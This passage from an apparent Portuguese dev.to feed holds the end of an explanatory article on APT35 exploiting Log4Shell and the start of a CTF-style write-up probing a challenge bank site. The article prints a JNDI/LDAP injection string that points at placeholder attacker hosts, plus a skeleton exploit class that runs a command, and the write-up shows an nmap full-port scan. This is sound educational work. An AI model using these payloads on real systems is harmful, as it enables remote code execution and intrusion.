&lt;p&gt;Os &lt;strong&gt;Procedimentos&lt;/strong&gt; são a forma como um grupo APT aplica uma técnica*&lt;em&gt;.&lt;/em&gt;* Por exemplo, o grupo &lt;strong&gt;APT35&lt;/strong&gt;  implementa a técnica &lt;strong&gt;Explorar aplicativos voltados para o público - Exploit Public-Facing Application (T1190)&lt;/strong&gt; utilizando de forma específica a exploração da vulnerabilidade CVE 2021-44228 &lt;strong&gt;(Log4Shell)&lt;/strong&gt; em  aplicações web que usam Java.&lt;/p&gt;

&lt;p&gt;A sofisticação de um APT reside em sua capacidade de encadear diversas técnicas (Ts) e procedimentos (Ps) de forma bem coordenada e adaptativa, assim garante que o ataque persista e atinja o objetivo final, que é a &lt;strong&gt;Exfiltração&lt;/strong&gt; ou &lt;strong&gt;Impacto&lt;/strong&gt; (como sabotagem).&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2. Aplicações Web como Vetor de Entrada Comum
&lt;/h3&gt;

&lt;p&gt;Conforme foi dito no decorrer do texto, as &lt;strong&gt;aplicações web&lt;/strong&gt; representam um vetor de entrada bastante comum e crítico para os grupos de APT. Na matriz do &lt;em&gt;MITRE&lt;/em&gt; essa tática é classificada como &lt;strong&gt;T1190: Explorar aplicativos voltados para o público (Exploit Public-Facing Application)&lt;/strong&gt;, dito mais acima.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Os adversários podem tentar explorar uma vulnerabilidade em um host ou sistema voltado para a Internet para acessar inicialmente uma rede. A vulnerabilidade no sistema pode ser um bug de software, uma falha temporária ou uma configuração incorreta.&lt;/p&gt;

&lt;p&gt;Os aplicativos explorados geralmente são sites/servidores da web, mas podem também incluir banco de dados (como SQL), serviços padrões (SMB ou SSH), protocolos de administração e gerenciamento de dispositivos de rede (SNMP e Smart Install) e qualquer outro sistema com soquetes abertos acessíveis pela Internet.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;&lt;/em&gt;- Technique T1190                                                     &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A exploração de aplicações web e servidores para o público é um método preferencial para obter o Acesso Inicial, pois permite que os atacantes possam contornar as defesas tradicionais. As vulnerabilidades mais exploradas por APTs em aplicações web incluem algumas das já destacadas anteriormente pelo OWASP Top 10, justamente por mapear as fragilidades mais comuns na atualidade.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Log4Shell (CVE 2021-44228)
&lt;/h2&gt;

&lt;p&gt;O APT35 também conhecido como &lt;strong&gt;Charming Kitten&lt;/strong&gt;, &lt;strong&gt;Magic Hound&lt;/strong&gt; e &lt;strong&gt;Phosphorus&lt;/strong&gt;, é um grupo de ameaças cibernéticas patrocinado pelo Irã que conduz operações de espionagem cibernética de longo prazo. Eles tem como alvo funcionários governamentais e militares europeus, norte-americanos e do Oriente Médio, acadêmicos, jornalistas e organizações como a Organização Mundial da Saúde (OMS).&lt;/p&gt;

&lt;p&gt;As operações do APT35 são comumente caracterizadas por campanhas de engenharia social sofisticadas e suas atividades são rastreadas desde 2014.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Atributo do APT&lt;/th&gt;
&lt;th&gt;Detalhe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;G0059&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nome&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Magic Hound (APT35, Charming Kitten, Phosphorus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Origem Atribuída&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Irã&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Alvos comuns&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Governo, militares, acadêmicos, jornalistas e organizações de saúde no Oriente Médio, Europa e EUA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tática Primária&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Campanhas de engenharia social complexas.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ferramentas Notáveis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;PowerShell&lt;/strong&gt;, &lt;em&gt;webshells&lt;/em&gt;, e ferramentas de compressão como &lt;strong&gt;RAR&lt;/strong&gt; e &lt;strong&gt;gzip&lt;/strong&gt;. Além do uso de malwares como o &lt;em&gt;backdoor&lt;/em&gt; &lt;strong&gt;PowerLess&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  4.1. Log4Shell
&lt;/h3&gt;

&lt;p&gt;O  &lt;strong&gt;Log4Shell&lt;/strong&gt; (CVE 2021-44228) é uma vulnerabilidade &lt;strong&gt;zero day&lt;/strong&gt; que foi reportada em novembro de 2021, que possibilita a &lt;strong&gt;execução de código remoto (RCE)&lt;/strong&gt; em algumas versões da biblioteca de logging Apache Log4j &lt;strong&gt;2.x de 2.0-beta9 até 2.14.1&lt;/strong&gt; e afeta diretamente a &lt;strong&gt;Camada de Aplicação&lt;/strong&gt; de diversas apps da web que são baseados em Java.&lt;/p&gt;

&lt;p&gt;Este estudo de caso detalha tecnicamente essa exploração do Log4Shell, focando principalmente em como um input em uma aplicação web pode se transformar em um RCE, e mapeando os ataques com base no OWASP Top 10.&lt;/p&gt;

&lt;p&gt;Um ponto importante é que o Log4Shell é um ataque que se manifesta na &lt;strong&gt;Camada de Aplicação&lt;/strong&gt; na arquitetura de três camadas, mas é iniciado através da &lt;strong&gt;Camada de Apresentação&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.1. O papel da Arquitetura de Aplicações Web e o OWASP
&lt;/h3&gt;

&lt;p&gt;O Log4Shell é um ataque de &lt;strong&gt;injeção de dados&lt;/strong&gt; que se propaga através das camadas:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Camada da Arquitetura&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Componente comum&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;CVE Relacionada&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;Relação com o Ataque&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Apresentação&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Formulários Web, Cabeçalhos HTTP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2021-44228&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;O atacante injeta o payload JNDI/LDAP em campos de entrada ou cabeçalhos HTTP ( &lt;code&gt;User-Agent&lt;/code&gt;), que são processados pela Camada de Aplicação.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lógica de Negócio (Aplicação)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Servidor de Aplicação Java (Tomcat, JBoss)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2021-44228&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A vulnerabilidade reside na biblioteca Log4j 2.x, que é parte da Camada de Lógica. O payload é interpretado, resultando em RCE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dados&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Banco de Dados (PostgreSQL, MySQL)&lt;/td&gt;
&lt;td&gt;(Acesso Indireto)&lt;/td&gt;
&lt;td&gt;O RCE obtido na Camada de Aplicação permite o acesso e a manipulação de dados sensíveis, &lt;strong&gt;ameaçando a integridade e disponibilidade da camada de dados&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ademais, também se enquadra primariamente na categoria &lt;strong&gt;A05:2025 - Injection&lt;/strong&gt; do OWASP Top 10:2025,  pois o ataque é uma forma de injeção onde o atacante injeta uma &lt;em&gt;string&lt;/em&gt; maliciosa (&lt;code&gt;${jndi:ldap://...}&lt;/code&gt;) que é interpretada pelo &lt;em&gt;logger&lt;/em&gt; como um comando, assim acaba sabotando o fluxo de execução do programa.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2. Detalhes do ataque
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdoilksucqg4nei9h5ba.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdoilksucqg4nei9h5ba.png" alt="Log4SHell" width="800" height="250"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Source: Check Point Research&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;O Log4Shell explora a funcionalidade de lookups da Log4j, especificamente a capacidade de realizar consultas via &lt;strong&gt;JNDI (Java Naming and Directory Interface)&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;info&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Requisição de: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;userAgent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O logger é responsável por registrar mensagens de log, enquanto o método info grava uma mensagem de nível &lt;strong&gt;informativo&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nl"&gt;Agent:&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;jndi:ldap:&lt;/span&gt;&lt;span class="c1"&gt;//pedroca.com/payload}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A sintaxe de lookup do Log4j permite &lt;strong&gt;substituições dinâmicas&lt;/strong&gt;, como no exemplo &lt;code&gt;${env:USERNAME}&lt;/code&gt;, que é substituído pelo valor da variável de ambiente &lt;code&gt;USERNAME&lt;/code&gt; do sistema operacional.&lt;/p&gt;

&lt;p&gt;Entretanto, nas versões do &lt;strong&gt;Log4j 2.0 até 2.14.1&lt;/strong&gt;, também eram permitidos &lt;em&gt;lookups&lt;/em&gt; via &lt;strong&gt;JNDI (Java Naming and Directory Interface)&lt;/strong&gt;, uma API do Java usada para consultar &lt;strong&gt;serviços de diretório em servidores externos&lt;/strong&gt;, como LDAP (Lightweight Directory Access Protocol) ou RMI (Remote Method Invocation).&lt;/p&gt;

&lt;p&gt;Esse recurso acabou sendo explorado por atacantes para &lt;strong&gt;carregar e executar código malicioso&lt;/strong&gt; &lt;strong&gt;remotamente&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A exploração do Log4 Shell é um processo de quatro etapas que transforma um simples string de entrada em RCE.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2.1. 1º Etapa: Injeção do Payload (Camada de Apresentação)**
&lt;/h3&gt;

&lt;p&gt;O atacante injeta o payload JNDI em qualquer campo de entrada que possa ser logado pela aplicação. E o vetor mais comum é o cabeçalho &lt;code&gt;User-Agent&lt;/code&gt; de uma requisição HTTP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload JNDI/LDAP:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;jndi:ldap:&lt;/span&gt;&lt;span class="c1"&gt;//[IP.DO.INVASOR]:PORTA/[CLASSE.MALICIOSA]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2.2. 2º Etapa: Interpretação e Consulta JNDI (Camada de Aplicação)**
&lt;/h3&gt;

&lt;p&gt;A aplicação web recebe a requisição HTTP, o servidor de aplicação processa essa requisição e, em determinado momento, o Log4j registra a entrada (&lt;code&gt;User-Agent&lt;/code&gt;), consequentemente encontra a string &lt;code&gt;${PEDROCA}&lt;/code&gt; e a interpreta como um lookup e e por fim o lookup JNDI é resolvido, forçando o servidor Java a iniciar a conexão com o servidor LDAP controlado pelo(a) atacante (&lt;code&gt;[IP.DO.INVASOR]:Porta&lt;/code&gt; ).&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2.3. 3º Etapa: Resposta do Servidor LDAP e Deserialização**
&lt;/h3&gt;

&lt;p&gt;O servidor LDAP do/a atacante responde com uma referência a classe Java maliciosa (&lt;code&gt;[CLASSE.MALICIOSA]&lt;/code&gt; ) e URL para download do arquivo &lt;code&gt;.class&lt;/code&gt;( via HTTP),  assim o cliente JNDI no servidor vulnerável (lá da Camada de aplicação) segue a referência e baixa o arquivo &lt;code&gt;.class&lt;/code&gt;  suspeito, fazendo o próprio servidor Java deserializar e executar o código da classe suspeita, resultando em uma execução remota de código (RCE).&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2.4. 4º Etapa: Um exemplo de Classe Maliciosa (Payload de RCE)**
&lt;/h3&gt;

&lt;p&gt;A classe suspeita é estruturada para executar um comando do sistema operacional no momento da sua inicialização.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Exploit&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"payload de rce"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O bloco static {} em java é executado automaticamente quando a classe é carregada e assim torna o ataque viável, pois o Log4j faz o lookup e carrega a classe. &lt;/p&gt;

&lt;h2&gt;
  
  
  5. Mapeamento MITRE ATT&amp;amp;CK
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tática&lt;/th&gt;
&lt;th&gt;ID da Tática&lt;/th&gt;
&lt;th&gt;Técnica&lt;/th&gt;
&lt;th&gt;ID da Técnica&lt;/th&gt;
&lt;th&gt;Descrição do Uso no Log4Shell&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TA0001&lt;/td&gt;
&lt;td&gt;Exploit Public-Facing Application&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;T1190&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Injeção do payload JNDI/LDAP através de uma entrada de aplicação web.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TA0002&lt;/td&gt;
&lt;td&gt;Command and Scripting Interpreter&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;T1059&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Execução de comandos via &lt;em&gt;shell&lt;/em&gt; reverso ou comandos do sistema operacional injetados na classe suspeita.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TA0005&lt;/td&gt;
&lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;T1027&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Uso de lookups aninhados ou ofuscação no payload JNDI para evitar detecção.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  6. Conclusão
&lt;/h2&gt;

&lt;p&gt;A segurança de aplicações web exige uma abordagem em maior profundidade que considere os vetores de ataque em cada camada de sua arquitetura. A análise  das táticas de grupos de APT como o APT35 mostra a exploração de forma mais ampla sobre as vulnerabilidades, sendo o ataque Log4Shell um exemplo de como uma falha na Camada de Aplicação (OWASP A05: Injection) pode levar a um RCE de impacto muito alto. Sua exploração a partir da entrada de um simples string em uma aplicação web, mostra a necessidade e importância de validação de entrada e de uma postura de segurança mais sólida em todas as camadas de arquitetura.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Referências
&lt;/h2&gt;

&lt;p&gt;Check Point. &lt;em&gt;APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit&lt;/em&gt;. Disponível em: [&lt;a href="https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" rel="noopener noreferrer"&gt;https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;CISA. &lt;em&gt;Apache Log4j Vulnerability Guidance&lt;/em&gt;. Disponível em: [&lt;a href="https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance" rel="noopener noreferrer"&gt;https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;MITRE ATT&amp;amp;CK. &lt;em&gt;Group: Charming Kitten (G0067)&lt;/em&gt;. Disponível em: [&lt;a href="https://attack.mitre.org/groups/G0059/" rel="noopener noreferrer"&gt;https://attack.mitre.org/groups/G0059/&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;MITRE ATT&amp;amp;CK. &lt;em&gt;Enterprise ATT&amp;amp;CK Matrix&lt;/em&gt;. Disponível em: [&lt;a href="https://attack.mitre.org/matrices/enterprise/" rel="noopener noreferrer"&gt;https://attack.mitre.org/matrices/enterprise/&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;NVD. &lt;em&gt;CVE-2021-44228 Detail&lt;/em&gt;. Disponível em: [&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2021-44228" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/cve-2021-44228&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;OWASP. (2025). &lt;em&gt;OWASP Top 10:2025&lt;/em&gt;. Disponível em: [&lt;a href="https://owasp.org/Top10/" rel="noopener noreferrer"&gt;https://owasp.org/Top10/&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;Unit 42. &lt;em&gt;Apache log4j Vulnerability CVE-2021-44228&lt;/em&gt;.&lt;br&gt;
 Disponível em: [&lt;a href="https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/" rel="noopener noreferrer"&gt;https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/&lt;/a&gt;]&lt;/p&gt;

</description>
      <category>web</category>
      <category>architecture</category>
      <category>vulnerabilities</category>
      <category>security</category>
    </item>
    <item>
      <title>Teste Específico de Estágio Tempest 2025.2 - Consultoria Técnica (Write Up)</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Mon, 25 Aug 2025 13:40:36 +0000</pubDate>
      <link>https://forem.com/obtuosa/teste-especifico-de-estagio-tempest-20252-consultoria-tecnica-write-up-17j</link>
      <guid>https://forem.com/obtuosa/teste-especifico-de-estagio-tempest-20252-consultoria-tecnica-write-up-17j</guid>
      <description>&lt;p&gt;&lt;a href="https://obtuosa.github.io/posts/desafio-tempest/" rel="noopener noreferrer"&gt;Meu Blog&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A ideia desse texto é mostrar como foi o processo de resolução do Desafio proposto pela &lt;strong&gt;Tempest Security Intelligence&lt;/strong&gt; no teste específico para a vaga de Estágio em Consultoria Técnica edição 2025.2. O único objetivo é educativo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Harpia-tech.site
&lt;/h2&gt;

&lt;p&gt;Basicamente fui contrada para realizar uma análise de segurança do novo banco digital do mercado chamado DigiHarp. A aplicação necessita de uma investigação minuciosa para encontrar possíveis vulnerabilidades e evitar ataques mal-intencionados. O endereço é &lt;a href="https://harpia-tech.site" rel="noopener noreferrer"&gt;https://harpia-tech.site&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Por se tratar de um banco digital,  o mesmo traz algumas informações que possam chamar a atenção de um consumidor e além disso, possuem um video de apresentação do banco, trazendo inclusive a inspiração na Harpia.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ny1qnipvg53xxi60f9l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ny1qnipvg53xxi60f9l.png" alt="DgiHarp" width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Security
&lt;/h3&gt;

&lt;p&gt;DigiHarp deixa claro sobre as medidas de segurança utilizadas para a proteção de dados financeiros e transações, desde a autenticação biométrica até a detectação de fraudes em tempo real e a utilização de  &lt;strong&gt;PGP&lt;/strong&gt; (Pretty Good Privacy) para criptografar as informações. Este ponto do pgp é importante, porque vai ser o centro da resolução do desafio.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwhz6io4oepc58cvvchp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwhz6io4oepc58cvvchp.png" alt="Security" width="800" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  DigiHarp - Presentation
&lt;/h2&gt;

&lt;p&gt;Clicando no video de apresentação somos redirecionados para o video na plataforma do youtube e que está como não listado, apresentando um pouco do banco e a resposta referente a primeira questão sobre o nome do social manager está bem no início da descrição e de plus também uma chave privada pgp exposta no final dessa descrição!&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhih8r72j4ir5lyquh5ud.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhih8r72j4ir5lyquh5ud.png" alt="DigiHarp Presentation" width="800" height="435"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmdqtfxtgnp9meullddjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmdqtfxtgnp9meullddjk.png" alt="Description" width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Chave privada pgp
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;🔑 Public Key for Secure Communications:
----BEGIN PGP PRIVATE KEY BLOCK----
[Conteúdo]
----END PGP PRIVATE KEY BLOCK----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A chave privada precisa estar bem estruturada, para que seja importada e neste caso, foi salvo  como private.key.&lt;/p&gt;
&lt;h3&gt;
  
  
  Wappalyzer, Enumeração de subdomínios, nmap e Shodan
&lt;/h3&gt;

&lt;p&gt;Com o wappalyzer foi possível verificar as tecnologias utilizadas como node.js, express, nginx, etc, que poderiam ser úteis em uma possibilidade de análise de CVE ou um fuzzing mais inteligente, tentando fazer brute-forces com wordlists específicas. E de quebra ocorreu uma tentativa de enumeração de subdomínios, mas sem sucesso relevante. &lt;/p&gt;

&lt;p&gt;Com a extensão do shodan tínhamos acesso ao IP do alvo e hostnames que confirmam o uso de cloud aws, além da porta aberta 443, mas nada que fosse de fato relevante para a resolução do desafio. Apenas coleta de informações.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0smy8c2k2q37mypxc3g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0smy8c2k2q37mypxc3g.png" alt="Shodan" width="380" height="374"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-vv&lt;/span&gt; IP-HARPIA-TECH.SITE    
Not shown: 65534 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;
PORT    STATE SERVICE  REASON  VERSION
443/tcp open  ssl/http syn-ack nginx

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  endpoints e login
&lt;/h2&gt;

&lt;p&gt;Foi feita a análise de cada endpoint do site para encontrar alguma informação relevante, dentre elas o login, por trazer a possibilidade de talvez existir uma conta de usuário vagando por aí ou até mesmo tentar realizar a enumeração de usernames e possivelmente fazer um brute-force na senha, mas é claro que não seria tão simples assim, pois dentre as tecnologias que o wappalyzer capturou havia uma de captcha chamada hcaptcha que dificultaria esse brute-force e ao tentar realizar login com o famoso admin-admin, o mesmo apenas informa credenciais inválidas, sem dar qualquer vestígio de enumeração de um usuário válido e mesmo tentando capturar via burp suite para forçar as tentativas de logar, o fato de ter hcaptcha inibe isso e força o uso de um novo token de captcha na requisição.&lt;br&gt;
